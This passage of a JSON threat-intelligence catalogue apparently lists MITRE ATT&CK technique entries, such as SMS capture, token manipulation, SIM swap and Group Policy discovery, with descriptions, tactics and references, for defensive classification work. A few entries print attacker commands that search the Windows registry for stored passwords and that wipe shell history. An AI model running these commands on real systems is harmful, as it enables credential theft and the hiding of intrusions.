"uuid": "ec739e26-d097-4804-b04a-54dd81ff11e0",
"value": "Create strategic plan - T1231"
},
{
"description": "A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.\n\nOn Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.\n\nOn iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.",
"meta": {
"external_id": "T1412",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1412"
]
},
"related": [],
"uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060",
"value": "Capture SMS Messages - T1412"
},
{
"description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s",
"meta": {
"external_id": "T1214",
"refs": [
"https://attack.mitre.org/techniques/T1214",
"https://pentestlab.blog/2017/04/19/stored-credentials/"
]
},
"related": [
{
"dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "2edd9d6a-5674-4326-a600-ba56de467286",
"value": "Credentials in Registry - T1214"
},
{
"description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)",
"meta": {
"external_id": "CAPEC-295",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/",
"https://attack.mitre.org/techniques/T1124",
"https://capec.mitre.org/data/definitions/295.html",
"https://msdn.microsoft.com/ms724961.aspx",
"https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
"https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf"
]
},
"uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
"value": "System Time Discovery - T1124"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1241).\n\nAn adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",
"meta": {
"external_id": "T1241",
"kill_chain": [
"mitre-pre-attack:target-selection"
],
"refs": [
"https://attack.mitre.org/techniques/T1241"
]
},
"uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877",
"value": "Determine strategic target - T1241"
},
{
"description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.",
"meta": {
"external_id": "T1521",
"kill_chain": [
"mitre-mobile-attack:command-and-control"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1521"
]
},
"uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84",
"value": "Standard Cryptographic Protocol - T1521"
},
{
"description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.",
"meta": {
"external_id": "T1217",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1217"
]
},
"uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7",
"value": "Browser Bookmark Discovery - T1217"
},
{
"description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)",
"meta": {
"external_id": "T1128",
"refs": [
"https://attack.mitre.org/techniques/T1128",
"https://github.com/outflankbv/NetshHelperBeacon",
"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
"https://technet.microsoft.com/library/bb490939.aspx"
]
},
"related": [
{
"dest-uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
"value": "Netsh Helper DLL - T1128"
},
{
"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)",
"meta": {
"external_id": "T1219",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1219",
"https://blog.crysys.hu/2013/03/teamspy/",
"https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf",
"https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"
]
},
"uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
"value": "Remote Access Software - T1219"
},
{
"description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Logon Session: Logon Session Metadata",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Windows",
"Linux",
"Containers",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1133",
"https://capec.mitre.org/data/definitions/555.html",
"https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac",
"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
"https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html",
"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
]
},
"uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
"value": "External Remote Services - T1133"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1313).\n\nObfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)",
"meta": {
"external_id": "T1313",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1313"
]
},
"uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93",
"value": "Obfuscation or cryptography - T1313"
},
{
"description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
"meta": {
"external_id": "CAPEC-633",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation",
"Process: Process Metadata",
"User Account: User Account Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1134",
"https://capec.mitre.org/data/definitions/633.html",
"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx",
"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
"https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx",
"https://pentestlab.blog/2017/04/03/token-manipulation/",
"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
"https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
]
},
"uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
"value": "Access Token Manipulation - T1134"
},
{
"description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)",
"meta": {
"external_id": "T1531",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"User Account: User Account Deletion",
"User Account: User Account Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1531",
"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/",
"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"
]
},
"uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
"value": "Account Access Removal - T1531"
},
{
"description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.",
"meta": {
"external_id": "CAPEC-643",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS",
"Windows",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1135",
"https://capec.mitre.org/data/definitions/643.html",
"https://en.wikipedia.org/wiki/Shared_resource",
"https://technet.microsoft.com/library/cc770880.aspx"
]
},
"uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
"value": "Network Share Discovery - T1135"
},
{
"description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",
"meta": {
"external_id": "T1137",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1137",
"https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/",
"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
"https://github.com/sensepost/notruler",
"https://github.com/sensepost/ruler",
"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746",
"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
]
},
"uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
"value": "Office Application Startup - T1137"
},
{
"description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.",
"meta": {
"external_id": "T1173",
"refs": [
"https://attack.mitre.org/techniques/T1173",
"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
"https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
"https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
"https://technet.microsoft.com/library/security/4053440",
"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
"https://www.contextis.com/blog/comma-separated-vulnerabilities"
]
},
"related": [
{
"dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
"value": "Dynamic Data Exchange - T1173"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1318).\n\nObfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)",
"meta": {
"external_id": "T1318",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1318"
]
},
"uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7",
"value": "Obfuscate operational infrastructure - T1318"
},
{
"description": "Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)\n\nOn Android, ClipboardManager.OnPrimaryClipChangedListener can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)\n\nAndroid 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)",
"meta": {
"external_id": "APP-35",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://saschafahl.de/static/paper/pwmanagers2013.pdf",
"https://attack.mitre.org/techniques/T1414",
"https://developer.android.com/about/versions/10/privacy/changes#clipboard-data",
"https://github.com/grepx/android-clipboard-security",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html"
]
},
"uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692",
"value": "Capture Clipboard Data - T1414"
},
{
"description": "An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)\n\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)",
"meta": {
"external_id": "STA-22",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/",
"http://www.dos.ny.gov/consumerprotection/scams/att-sim.html",
"https://attack.mitre.org/techniques/T1451",
"https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/",
"https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam",
"https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin",
"https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html",
"https://techcrunch.com/2017/08/23/i-was-hacked/",
"https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters"
]
},
"uuid": "a64a820a-cb21-471f-920c-506a2ff04fa5",
"value": "SIM Card Swap - T1451"
},
{
"description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).",
"meta": {
"external_id": "AUT-10",
"refs": [
"http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html",
"https://attack.mitre.org/techniques/T1415",
"https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html",
"https://tools.ietf.org/html/rfc7636",
"https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html",
"https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures"
]
},
"related": [],
"uuid": "8f142a25-f6c3-4520-bd50-2ae3ab50ed3e",
"value": "URL Scheme Hijacking - T1415"
},
{
"description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.",
"meta": {
"external_id": "T1146",
"refs": [
"https://attack.mitre.org/techniques/T1146"
]
},
"related": [
{
"dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "d3046a90-580c-4004-8208-66915bc29830",
"value": "Clear Command History - T1146"
},
{
"description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)",
"meta": {
"external_id": "T1614",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Instance: Instance Metadata",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS",
"IaaS"
],
"refs": [
"https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf",
"https://attack.mitre.org/techniques/T1614",
"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html",
"https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows",
"https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/",
"https://securelist.com/transparent-tribe-part-1/98127/",
"https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/"
]
},
"uuid": "c877e33f-1df6-40d6-b1e7-ce70f16f4979",
"value": "System Location Discovery - T1614"
},
{
"description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)",
"meta": {
"external_id": "T1174",
"refs": [
"http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
"https://attack.mitre.org/techniques/T1174",
"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
]
},
"related": [
{
"dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "b8c5c9dd-a662-479d-9428-ae745872537c",
"value": "Password Filter DLL - T1174"
},
{
"description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.",
"meta": {
"external_id": "T1419",
"refs": [
"https://attack.mitre.org/techniques/T1419",
"https://developer.android.com/reference/android/os/Build"
]
},
"related": [],
"uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05",
"value": "Device Type Discovery - T1419"
},
{
"description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.",
"meta": {
"external_id": "CAPEC-163",
"refs": [
"https://attack.mitre.org/techniques/T1194",
"https://capec.mitre.org/data/definitions/163.html"
]
},
"related": [
{
"dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "d3df754e-997b-4cf9-97d4-70feb3120847",
"value": "Spearphishing via Service - T1194"
},
{
"description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\SYSVOL\\\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",
"meta": {
"external_id": "T1615",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Access",
"Command: Command Execution",
"Network Traffic: Network Traffic Content",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://adsecurity.org/?p=2716",
"https://attack.mitre.org/techniques/T1615",
"https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/",
"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult",
"https://github.com/EmpireProject/Empire"
]
},
"uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
"value": "Group Policy Discovery - T1615"
},
{
